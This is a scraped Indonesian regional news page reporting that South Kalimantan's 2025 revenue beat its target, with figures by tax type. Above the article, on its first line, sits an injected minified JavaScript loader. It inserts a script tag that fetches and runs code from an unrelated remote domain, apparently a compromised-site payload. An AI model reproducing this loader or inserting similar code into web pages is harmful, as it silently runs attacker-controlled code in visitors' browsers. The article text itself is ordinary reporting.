(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Realisasi Pendapatan Asli Daerah (PAD) Provinsi Kalimantan Selatan (Kalsel) pada tahun 2025 melampaui target. Hingga akhir tahun anggaran, pendapatan daerah tercatat sebesar Rp10,94 triliun atau 103,99 persen dari target Rp10,52 triliun.
Kepala Badan Pendapatan Daerah (Bapenda) Provinsi Kalsel, Subhan Nor Yaumil, mengatakan capaian tersebut mencerminkan kinerja optimal pengelolaan pendapatan daerah serta meningkatnya kepatuhan wajib pajak di Kalimantan Selatan.
“Realisasi pendapatan asli daerah mampu melampaui target. Ini merupakan hasil kerja bersama serta dukungan masyarakat dalam memenuhi kewajiban perpajakan,” katanya, Rabu (21/1/2026), dikutip dari Media Center Kalsel.
Baca juga: RSUD Ulin Renovasi Ruang Aster Lantai 3 Layanan VIP-VVIP-Poli Eksekutif
Subhan menjelaskan, PAD menjadi kontributor utama dengan realisasi Rp5,18 triliun atau 113,11 persen dari target Rp4,58 triliun. Capaian PAD tersebut didorong oleh kinerja positif sektor pajak daerah yang terealisasi Rp4,21 triliun atau 113,60 persen dari target.
Secara rinci, Pajak Kendaraan Bermotor (PKB) terealisasi Rp606,48 miliar atau 101,08 persen, Bea Balik Nama Kendaraan Bermotor (BBNKB) Rp389,03 miliar atau 117,89 persen, serta Pajak Bahan Bakar Kendaraan Bermotor (PBB-KB) Rp2,82 triliun atau 118,58 persen.
Selain itu, Pajak Air Permukaan (PAP) mencapai 113,87 persen dan Pajak Air Bawah Tanah mencatat realisasi tertinggi sebesar 141,04 persen.
Baca juga: Peringatan HGN 2026, Bupati HSU: Gizi Optimal Mewujudkan Generasi Emas 2045
Subhan mengakui masih terdapat beberapa jenis pajak yang belum mencapai target, seperti pajak rokok dengan realisasi 96,53 persen serta Pajak Mineral Bukan Logam dan Batuan (MBLB) sebesar 81,79 persen.
“Untuk pajak yang belum optimal, akan kami evaluasi dan perkuat strategi pemungutannya agar ke depan dapat lebih maksimal,” tegasnya.
Menurut Subhan, capaian pendapatan daerah ini diharapkan dapat memperkuat kemampuan fiskal daerah dalam mendukung pembangunan serta peningkatan pelayanan publik bagi masyarakat Kalsel. (Kanalkalimantan.com/mckalsel)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More
This website uses cookies.